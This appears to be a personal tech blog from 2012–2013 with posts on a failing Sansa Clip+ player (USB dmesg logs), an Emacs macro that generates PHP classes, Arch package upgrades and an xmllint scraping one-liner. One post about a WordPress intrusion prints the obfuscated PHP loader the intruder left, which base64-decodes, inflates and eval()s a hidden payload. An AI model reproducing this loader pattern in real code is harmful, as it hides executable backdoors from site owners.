My little sansa clip buddy just crapped itself real good today. That's the second time I see that, my mother's one died out of the blue. These things are tiny and sturdy yet their internals seems very fragile. Fortunately, or not, mine resurrected, a definite proof that god exists, is digital and supports music sharing. I'm letting him charging on usb as if he needed some juice to warm itself back from the freezing cold trip to the trash bin we were getting back from. Pardon my grammar.
I was already thinking on grabbing a cheap android phone on ebay, I'm now one step closer. After all, it's only twice the price of this limited device to get a pocket computer/gps/mugmagnet these days. And I love jelly beans. Tribute to Busy Phillips.
[198002.235827] usb 1-5: USB disconnect, device number 15
[198680.723585] usb 1-5: new high-speed USB device number 16 using ehci_hcd
[198680.856683] scsi9 : usb-storage 1-5:1.0
[198681.863414] scsi 9:0:0:0: Direct-Access UNDEF storage 1.0 PQ: 0 ANSI: 0
[198681.866267] sd 9:0:0:0: [sdc] 8265 512-byte logical blocks: (4.23 MB/4.03 MiB)
[198681.867897] sd 9:0:0:0: [sdc] Write Protect is off
[198681.867906] sd 9:0:0:0: [sdc] Mode Sense: 04 00 00 00
[198681.868894] sd 9:0:0:0: [sdc] No Caching mode page present
[198681.868902] sd 9:0:0:0: [sdc] Assuming drive cache: write through
[198681.875921] sd 9:0:0:0: [sdc] No Caching mode page present
[198681.875929] sd 9:0:0:0: [sdc] Assuming drive cache: write through
[198681.885107] sdc: unknown partition table
[198681.893907] sd 9:0:0:0: [sdc] No Caching mode page present
[198681.893916] sd 9:0:0:0: [sdc] Assuming drive cache: write through
[198681.893923] sd 9:0:0:0: [sdc] Attached SCSI removable disk
[198723.408062] usb 1-5: USB disconnect, device number 16
[198796.486921] usb 1-5: new high-speed USB device number 17 using ehci_hcd
[198811.593537] usb 1-5: device descriptor read/64, error -110
[198826.803586] usb 1-5: device descriptor read/64, error -110
[198827.013588] usb 1-5: new high-speed USB device number 18 using ehci_hcd
[198835.743723] hub 1-0:1.0: unable to enumerate USB device on port 5
[198887.830541] hub 1-0:1.0: unable to enumerate USB device on port 5
[198889.163561] usb 1-5: new high-speed USB device number 20 using ehci_hcd
[198889.294648] scsi10 : usb-storage 1-5:1.0
[198890.297786] scsi 10:0:0:0: Direct-Access SanDisk Sansa Clip+ 4GB v01. PQ: 0 ANSI: 0
[198890.299140] scsi 10:0:0:1: Direct-Access SanDisk Sansa Clip+ 4GB v01. PQ: 0 ANSI: 0
[198890.299750] sd 10:0:0:0: [sdc] 7683072 512-byte logical blocks: (3.93 GB/3.66 GiB)
[198890.301475] sd 10:0:0:0: [sdc] Write Protect is off
[198890.301485] sd 10:0:0:0: [sdc] Mode Sense: 04 00 00 00
[198890.302146] sd 10:0:0:0: [sdc] No Caching mode page present
[198890.302155] sd 10:0:0:0: [sdc] Assuming drive cache: write through
[198890.305781] sd 10:0:0:1: [sdd] Attached SCSI removable disk
[198890.306345] sd 10:0:0:0: [sdc] No Caching mode page present
[198890.306354] sd 10:0:0:0: [sdc] Assuming drive cache: write through
[198890.309471] sdc:
[198890.311724] sd 10:0:0:0: [sdc] No Caching mode page present
[198890.311733] sd 10:0:0:0: [sdc] Assuming drive cache: write through
[198890.311741] sd 10:0:0:0: [sdc] Attached SCSI removable disk
dimanche 3 février 2013
dimanche 27 janvier 2013
samedi 12 janvier 2013
template as [higher-order] functions
Many templating systems are implicit substitution semantic functions, I feel templates should be normal functions with strict and optional parameters, instead of a generic call with (template name, environment map) couple.
That's all. Emacs org-capture style nano post.
ps: the higher-order part, is that we need a way to express the formatted output as context-sensitive by embedding its surrounding as another set of parameters (which would be templating functions)
somebody's writing me -- a wordpress intrusion :1
Somebody somehow gained write access on a Wordpress based blog I'm maintaining, so he left me a gift:
Pretty nifty right ? to show gratitude I made him a little ASCII drawing :
http://pastie.org/5673811
function BSSV($rOPJx)
{
$rOPJx=gzinflate(base64_decode($rOPJx));
for($i=0;$i<strlen($rOPJx);$i++)
{
$rOPJx[$i] = chr(ord($rOPJx[$i])-1);
}
return $rOPJx;
}eval(BSSV("U1QEAu7CpJKS0sziMs3kpJI0c9OE1LSUgtQ0TdWEELfgcLfgGM/Q0MAEFz/XOC0tG24He25uAA==000"));
?>
Pretty nifty right ? to show gratitude I made him a little ASCII drawing :
http://pastie.org/5673811
mardi 8 janvier 2013
Scala value class-like to php macro
;; '//' SPACE CLASS <NAME> '(' ARGS* ')'
;; class name { private args; function name(args) { $this->args = args } public get_args() { return $this->args; }(fset 'scala-to-php
[?\C-k ?\C-y ?\C-j ?\C-y ?\C-a tab delete delete delete ?\M-f ?\M-f ?\C- ?\C-e ?\C-\M-% ?\( ?\\ ?\( ?. ?* ?\\ ?\) ?\) return ?\{ ?\C-q ?\C-j ?\' ?1 backspace backspace ?\\ ?1 ?\C-q ?\C-j ?\} return ?! ?\C-r ?\{ ?\C-e ?\C-f ?\C- ?\C-e ?\C-\M-% ?, return ?\; ?\C-q ?\C-j return ?! ?\C-e ?\; ?\C- ?\C-r ?\{ ?\C-e ?\C-f ?\C-\M-% ?^ return ? ? ?p ?r ?i ?v ?a ?t ?e ? ?$ return ?! ?\C-e ?\C-j ?\C-y ?\C-a tab delete delete delete ?\M-d ?f ?u ?n ?c ?t ?i ?o ?n ?\C-e ? ?\{ ?\} ?\C-a ?\C-s ?\( ?\C-f ?\C-b ?\C- ?\C-f ?\C-s ?\) ?\C-b ?\C-\M-% ?\\ ?\( ?\[ ?\[ ?: ?a ?s ?c ?i ?i backspace backspace backspace backspace ?l ?p ?h ?a ?\" ?\] ?\] backspace backspace backspace ?: ?\] ?\] ?\\ ?+ backspace backspace ?+ ?\\ ?\) ?\C-b ?\C-e return ?$ ?\' ?1 backspace backspace ?\\ ?1 return ?y ?y ?y ?y ?\C-s ?\{ ?\C-f ?\C-b ?\C-j ?\S-\C-o ?\C-y ?\M-y ?\C-a tab ?\C-s ?\( ?\C- ?\C-a backspace tab ?\C-e backspace ?\C-a tab ?\C- ?\C-e ?\C-\M-% ?, return ?\; ?\C-q ?\C-j return ?! ?\C-e ?\; ?\C-r ?\{ ?\C-e ?\C-f ?\C- ?\C-s ?\} ?\C-p ?\C-e tab ?\C- ?\C-s ?\C-r ?\{ ?\C-e ?\C-f ?\C-\M-% ?\\ ?\( ?\[ ?\[ ?: ?a ?s ?c ?i backspace backspace backspace ?l ?p ?h ?a ?: ?\] ?\] ?+ ?\\ ?\) ?\; return ?p backspace ?$ ?t ?h ?i ?s ?- ?> ?$ ?\\ ?1 ? ?= ? ?$ backspace ?$ ?\\ ?1 ?\; return ?! ?\C-e ?\C-f tab ?\C-e ?\C-j ?\C-y ?\C-a ?\C- ?\C-s ?\( ?\C-? ?\C-s ?\C-m ?\C-r ?/ ?/ ?\C-f ?\C-a ?\C- ?\C-s ?\( ?\C-m backspace ?\C-e backspace ?\C-a ?\C- ?\C-e ?\C-\M-% ?, return ?\C-q ?\C-j return ?! ?\C-r ?\} ?\C-e ?\C-f ?\C- ?\C-s ?\} ?\C-p ?\C-e ?\C-\M-% ?6 ?\\ ?\( backspace backspace backspace ?^ ?\' backspace ?\\ ?\( ?. ?* ?\\ ?\) return ?p ?u ?b ?l ?i ?c ? ?g ?e ?t ?_ ?\\ ?1 ?\( ?\) ?\S- ?\{ ? ?$ ?t ?h ?i ?s ?- ?\M-b ?r ?e ?t ?u ?r ?n ? ?\C-e ?. backspace ?> ?$ ?\\ ?1 ?\; ? ?\} return ?! ?\C-s ?\} ?\C-m ?\C- ?\C-r ?c ?l ?a ?s ?s ?\C-m tab])
// class User(name,login,password)
===
class User{
private $name;
private $login;
private $password;
function User($name,$login,$password) {
$this->$name = $name;
$this->$login = $login;
$this->$password = $password;
}
public get_name() { return $this->$name; }
public get_login() { return $this->$login; }
public get_password() { return $this->$password; }
}
/tmp/kbd-macro.el (END)
I should write an keybindings expander and a literal reducer to make this bearable </lisp>
lundi 10 décembre 2012
Archlinux promoting degrowth : I like it when my system shrinks while it grows.
luser@x60s_GPT /opt/isos % sudo pacman -Su
[sudo] password for luser:
:: Starting full system upgrade...
resolving dependencies...
looking for inter-conflicts...
Targets (2): webkitgtk2-1.10.2-1 webkitgtk3-1.10.2-1
Total Download Size: 20.35 MiB
Total Installed Size: 100.25 MiB
Net Upgrade Size: -23.67 MiB
Proceed with installation? [Y/n]
:: Retrieving packages from extra...
webkitgtk2-1.10.2-1-i686 7.3 MiB 397K/s 00:19 [#####] 100%
webkitgtk3-1.10.2-1-i686 13.1 MiB 454K/s 00:29 [#####] 100%
(2/2) checking package integrity [#####] 100%
(2/2) loading package files [#####] 100%
(2/2) checking for file conflicts [#####] 100%
(2/2) checking available disk space [#####] 100%
(1/2) upgrading webkitgtk2 [#####] 100%
(2/2) upgrading webkitgtk3 [#####] 100%
[sudo] password for luser:
:: Starting full system upgrade...
resolving dependencies...
looking for inter-conflicts...
Targets (2): webkitgtk2-1.10.2-1 webkitgtk3-1.10.2-1
Total Download Size: 20.35 MiB
Total Installed Size: 100.25 MiB
Net Upgrade Size: -23.67 MiB
Proceed with installation? [Y/n]
:: Retrieving packages from extra...
webkitgtk2-1.10.2-1-i686 7.3 MiB 397K/s 00:19 [#####] 100%
webkitgtk3-1.10.2-1-i686 13.1 MiB 454K/s 00:29 [#####] 100%
(2/2) checking package integrity [#####] 100%
(2/2) loading package files [#####] 100%
(2/2) checking for file conflicts [#####] 100%
(2/2) checking available disk space [#####] 100%
(1/2) upgrading webkitgtk2 [#####] 100%
(2/2) upgrading webkitgtk3 [#####] 100%
lundi 3 décembre 2012
html pager `onliner` with xmllint aka Y U NO RTFM
TIL xmllint can interpret XPath expressions, and has a html parser. No more ugly frankensed expressions to deals with trees. Ahhh DSLs.
dummy@x60s_GPT ~ % for page in $(hrefs URL | egrep $(basename URL) | sort | uniq) ;
do
curl -sL ${page}
| xmllint --html --xpath '//*[@id="content"]' -
| html2text;
done | less
where hrefs is, note the old school sedism which will soon be deprecated:
dummy@x60s_GPT ~ % cat $(which hrefs)
#!/usr/bin/env dash
URL="${1}"
curl -sL ${URL} | sed 's.>.>\n.g' | sed -n '/href/I s@^.*href="\([^"]\+\)".*$@\1@Igp'
ps: no need to criticize my fault-tolerantless style; I'm still waiting for a whole lisp user-space so why bother...
dummy@x60s_GPT ~ % for page in $(hrefs URL | egrep $(basename URL) | sort | uniq) ;
do
curl -sL ${page}
| xmllint --html --xpath '//*[@id="content"]' -
| html2text;
done | less
where hrefs is, note the old school sedism which will soon be deprecated:
dummy@x60s_GPT ~ % cat $(which hrefs)
#!/usr/bin/env dash
URL="${1}"
curl -sL ${URL} | sed 's.>.>\n.g' | sed -n '/href/I s@^.*href="\([^"]\+\)".*$@\1@Igp'
ps: no need to criticize my fault-tolerantless style; I'm still waiting for a whole lisp user-space so why bother...
Inscription à :
Articles (Atom)